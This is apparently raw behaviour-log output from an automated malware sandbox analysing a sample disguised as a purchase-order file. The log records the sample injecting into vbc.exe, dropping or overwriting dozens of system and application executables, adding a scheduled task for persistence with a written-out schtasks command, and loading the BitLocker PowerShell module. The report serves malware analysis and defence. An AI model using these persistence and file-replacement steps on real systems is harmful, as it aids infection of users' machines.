Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\appvcleaner.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\java-rmi.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Mozilla Firefox\minidump-analyzer.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\pack200.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jabswitch.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\x86\Acrobat\Acrobat.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\rmid.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\7-Zip\7zFM.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\plug_ins\pi_brokers\32BitMAPIBroker.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\klist.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\tnameserv.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Eula.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Google\Update\Install\{6BB58CDD-A64E-41C8-8D92-79A516D3D118}\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\notification_helper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Common Files\Adobe\Acrobat\Setup\{AC76BA86-1033-1033-7760-BC15014EA700}\WindowsInstaller-KB893803-v2-x86.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\117.0.5938.134\117.0.5938.134_117.0.5938.132_chrome_updater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroTextExtractor.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\excelcnv.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Mozilla Firefox\private_browsing.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\jjs.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_acro.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeC2RClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\ShowAppPickerForPDF.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\orbd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	File created: C:\Users\user\AppData\Roaming\YRtQgzFlDnVSru.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVShNotify.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Google\Chrome\Application\117.0.5938.134\chrome_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\AgentService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow\adobe_licensing_wf_helper_acro.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Common Files\microsoft shared\ClickToRun\officesvcmgr.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Java\jre-1.8\bin\ktab.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files\Mozilla Firefox\plugin-container.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge_proxy.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\snmptrap.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\Spectrum.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\Locator.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\AgentService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\VSSVC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\wbengine.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\wbem\WmiApSrv.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\SearchIndexer.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\AppVClient.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\FXSSVC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\TieringEngineService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\vds.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\OpenSSH\ssh-agent.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\alg.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\SysWOW64\perfhost.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\msiexec.exe	Jump to dropped file
Source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	File created: C:\Windows\System32\sppsvc.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\SensorDataService.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\msdtc.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File created: C:\Windows\System32\PerceptionSimulation\PerceptionSimulationService.exe	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe

Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\YRtQgzFlDnVSru" /XML "C:\Users\user\AppData\Local\Temp\tmpE707.tmp"

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

Code function: 9_2_00F6CBD0 StrStrIW,StrStrIW,CloseServiceHandle,OpenServiceW,StrStrIW,ChangeServiceConfigW,StrStrIW,StrStrIW,CloseServiceHandle,StartServiceW,

9_2_00F6CBD0

Hooking and other Techniques for Hiding and Protection

Creates files inside the volume driver (system volume information)

Source: C:\Windows\System32\TieringEngineService.exe

File created: C:\System Volume Information\Heat\

Loading BitLocker PowerShell Module

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\RFQ_PO N89397-GM7287-Order.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
